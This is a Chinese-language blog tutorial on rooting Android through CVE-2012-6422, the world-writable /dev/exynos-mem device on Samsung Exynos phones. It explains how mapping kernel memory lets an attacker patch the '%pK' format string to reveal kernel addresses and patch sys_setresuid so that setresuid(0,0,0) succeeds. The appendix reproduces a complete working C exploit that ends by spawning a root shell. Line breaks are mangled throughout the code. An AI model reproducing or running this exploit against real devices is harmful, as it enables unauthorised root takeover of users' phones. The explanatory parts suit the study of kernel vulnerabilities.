风流不在谈锋胜,袖手无言味最长。这篇文章主要讲述Android内核sys_setresuid() Patch提权(CVE-2012-6422)相关的知识,希望能为你提供帮助。
让我们的android ROOT,多一点套路。
一、简单套路CVE-2012-6422的漏洞利用代码,展示了另一种提权方法。(见附录)
这也是一个mmap驱动接口校验导致映射任意内核地址的洞。将内核映射到用户进程空间后,使用setresuid(0, 0, 0)进行提权。
其步骤如下:
- 利用漏洞,映射内核到调用者进程空间
- 搜索内核,查找“%pK %c %s ”,并Patch成“%p %c %s ”
- 搜索内核,查找sys_setresuid符号地址
- 搜索sys_setresuid代码段,查找“0xe3500000” 并Patch为“0xe3500001”
- 用户态调用setresuid()提权
- 将前面2处Patch恢复原貌
我们获得Linux的内核符号地址,一般首选读取/proc/kallsyms,但由于kptr_restrict的引入(/proc/sys/kernel/kptr_restrict),读到的内核符号地址一般是被抹掉的(0x00000000)。
【Android内核sys_setresuid() Patch提权(CVE-2012-6422)】查看内核实现,在执行$ cat /proc/kallsyms 时,对应内核代码为s_show()函数:
527 static int s_show(struct seq_file *m, void *p)
528 {
529struct kallsym_iter *iter = m->
private;
530
531/* Some debugging symbols have no name.Ignore them. */
532if (!iter->
name[0])
533return 0;
534
535if (iter->
module_name[0]) {
536char type;
537
538/*
539* Label it "global" if it is exported,
540* "local" if not exported.
541*/
542type = iter->
exported ? toupper(iter->
type) :
543tolower(iter->
type);
544seq_printf(m, "%pK %c %s [%s]
", (void *)iter->
value,
545type, iter->
name, iter->
module_name);
546} else
547seq_printf(m, "%pK %c %s
", (void *)iter->
value,
548iter->
type, iter->
name);
549return 0;
550 }
我们在/proc/kallsyms中看到的3列值,是由下述代码生成:
547seq_printf(m, "%pK %c %s
", (void *)iter->
value,
548iter->
type, iter->
name);
其中%pK格式符会根据kptr_restrict值,选择是否显示符号地址,默认kptr_restrict值一般为1,即隐藏符号地址。只需要将K替换为空格,即可绕过此限制。
2)为什么要将sys_setresuid代码的“0xe3500000” Patch为“0xe3500001”
我们知道,如果成功调用setresuid(0, 0, 0),则会获得root权限,但成功执行此调用需要严格条件,具体描述下。
setresuid()被执行的条件有:
- 当前进程的euid是root
- 三个参数,每一个等于原来某个id中的一个
但显然,我们的提权程序不满足上述任何一个条件,那怎么办呢。看代码。
/*
* This function implements a generic ability to update ruid, euid,
* and suid.This allows you to implement the 4.4 compatible seteuid().
*/
asmlinkage long sys_setresuid(uid_t ruid, uid_t euid, uid_t suid)
{
int old_ruid = current->
uid;
int old_euid = current->
euid;
int old_suid = current->
suid;
int retval;
retval = security_task_setuid(ruid, euid, suid, LSM_SETID_RES);
if (retval)
return retval;
if (!capable(CAP_SETUID)) {
if ((ruid != (uid_t) -1) &
&
(ruid != current->
uid) &
&
(ruid != current->
euid) &
&
(ruid != current->
suid))
return -EPERM;
if ((euid != (uid_t) -1) &
&
(euid != current->
uid) &
&
(euid != current->
euid) &
&
(euid != current->
suid))
return -EPERM;
if ((suid != (uid_t) -1) &
&
(suid != current->
uid) &
&
(suid != current->
euid) &
&
(suid != current->
suid))
return -EPERM;
}
if (ruid != (uid_t) -1) {
if (ruid != current->
uid &
&
set_user(ruid, euid != current->
euid) <
0)
return -EAGAIN;
}
if (euid != (uid_t) -1) {
if (euid != current->
euid)
{
current->
mm->
dumpable = 0;
wmb();
}
current->
euid = euid;
}
current->
fsuid = current->
euid;
if (suid != (uid_t) -1)
current->
suid = suid;
return security_task_post_setuid(old_ruid, old_euid, old_suid, LSM_SETID_RES);
}
sys_setresuid()的逻辑很简单,首先调用 retval = security_task_setuid(ruid, euid, suid, LSM_SETID_RES); 设置实际用户ID,有效用户ID及保存的设置用户ID,如果成功,直接返回retval。
setresuid()有个性质,英文名称是all-or-nothing effect,意思是,如果setresuid()对某一个ID设置成功了,其他的失败了,比如只改变了ruid,suid和euid都改失败了,那么程序会将ruid改回原来的值,即保证要么三个ID都能成功修改,要么三个都没能修改成功。
我们只需要Patch掉下述代码,使其返回成功。
if (retval)
return retval;
而其对应的ARM汇编为:
cmp r0, #0
对应字节码为 0xE3500000,只需将其Patch成cmp r0, #1即可,即0xE3500001,所有进程的setresuid(0, 0, 0)都将成功执行,将当前进程提升到root权限。
ARM Opcodes查询可通过:http://armconverter.com
三、附录:CVE-2012-6422 exploit
/*
* exynos-mem device abuse by alephzain
*
* /dev/exynos-mem is present on GS3/GS2/GN2/MEIZU MX
*
* the device is R/W by all users :
* crw-rw-rw-1 system graphics1, 14 Dec 13 20:24 /dev/exynos-mem
*
*//*
* Abuse it for root shell
*/
#include <
stdio.h>
#include <
sys/mman.h>
#include <
sys/types.h>
#include <
sys/stat.h>
#include <
fcntl.h>
#include <
stdlib.h>
#include <
unistd.h>
#include <
errno.h>
#include <
sys/ioctl.h>
#include <
stdbool.h>
#define PAGE_OFFSET 0xC0000000
#define PHYS_OFFSET 0x40000000int main(int argc, char **argv, char **env) {
int fd, i, m, index, result;
unsigned long *paddr = NULL;
unsigned long *tmp = NULL;
unsigned long *restore_ptr_fmt = NULL;
unsigned long *restore_ptr_setresuid = NULL;
unsigned long addr_sym;
int page_size = sysconf(_SC_PAGE_SIZE);
int length = page_size * page_size;
/* for root shell */
char *cmd[2];
cmd[0] = "/system/bin/sh";
cmd[1] = NULL;
/* /proc/kallsyms parsing */
FILE *kallsyms = NULL;
char line [512];
char *ptr;
char *str;
bool found = false;
/* open the door */
fd = open("/dev/exynos-mem", O_RDWR);
if (fd == -1) {
printf("[!] Error opening /dev/exynos-mem
");
exit(1);
}/* kernel reside at the start of physical memory, so take some Mb */
paddr = (unsigned long *)mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_SHARED, fd, PHYS_OFFSET);
tmp = paddr;
if (paddr == MAP_FAILED) {
printf("[!] Error mmap: %s|%08X
",strerror(errno), i);
exit(1);
}/*
* search the format string "%pK %c %s
" in memory
* and replace "%pK" by "%p" to force display kernel
* symbols pointer
*/
for(m = 0;
m <
length;
m += 4) {
if(*(unsigned long *)tmp == 0x204b7025
&
&
*(unsigned long *)(tmp+1) == 0x25206325
&
&
*(unsigned long *)(tmp+2) == 0x00000a73 ) {
printf("[*] s_show->
seq_printf format string found at: 0x%08X
", PAGE_OFFSET + m);
restore_ptr_fmt = tmp;
*(unsigned long*)tmp = 0x20207025;
found = true;
break;
}
tmp++;
}if (found == false) {
printf("[!] s_show->
seq_printf format string not found
");
exit(1);
}found = false;
/* kallsyms now display symbols address */
kallsyms = fopen("/proc/kallsyms", "r");
if (kallsyms == NULL) {
printf("[!] kallsysms error: %s
", strerror(errno));
exit(1);
}/* parse /proc/kallsyms to find sys_setresuid address */
while((ptr = fgets(line, 512, kallsyms))) {
str = strtok(ptr, " ");
addr_sym = strtoul(str, NULL, 16);
index = 1;
while(str) {
str = strtok(NULL, " ");
index++;
if (index == 3) {
if (strncmp("sys_setresuid
", str, 14) == 0) {
printf("[*] sys_setresuid found at 0x%08X
",addr_sym);
found = true;
}
break;
}
}
if (found) {
tmp = paddr;
tmp += (addr_sym - PAGE_OFFSET) >
>
2;
for(m = 0;
m <
128;
m += 4) {
if (*(unsigned long *)tmp == 0xe3500000) {
printf("[*] patching sys_setresuid at 0x%08X
",addr_sym+m);
restore_ptr_setresuid = tmp;
*(unsigned long *)tmp = 0xe3500001;
break;
}
tmp++;
}
break;
}
}fclose(kallsyms);
/* to be sure memory is updated */
usleep(100000);
/* ask for root */
result = setresuid(0, 0, 0);
/* restore memory */
*(unsigned long *)restore_ptr_fmt = 0x204b7025;
*(unsigned long *)restore_ptr_setresuid = 0xe3500000;
munmap(paddr, length);
close(fd);
if (result) {
printf("[!] set user root failed: %s
", strerror(errno));
exit(1);
}/* execute a root shell */
execve (cmd[0], cmd, env);
return 0;
}
推荐阅读
- Failed to load property source from location 'classpath:/application.properties'
- ANDROID init进程
- Android内核栈溢出与ROP(CVE-2013-2597)
- Android: protecting the kernel
- android_rooting_tools 项目介绍(CVE-2012-4220)
- Android Native Hook技术
- Android全局可调试(ro.debuggable = 1)的一种另类改法
- UI“三重天”之appium
- springboot使用遇到问题(Class “model.Address” is listed in the persistence.xml file but not mapped)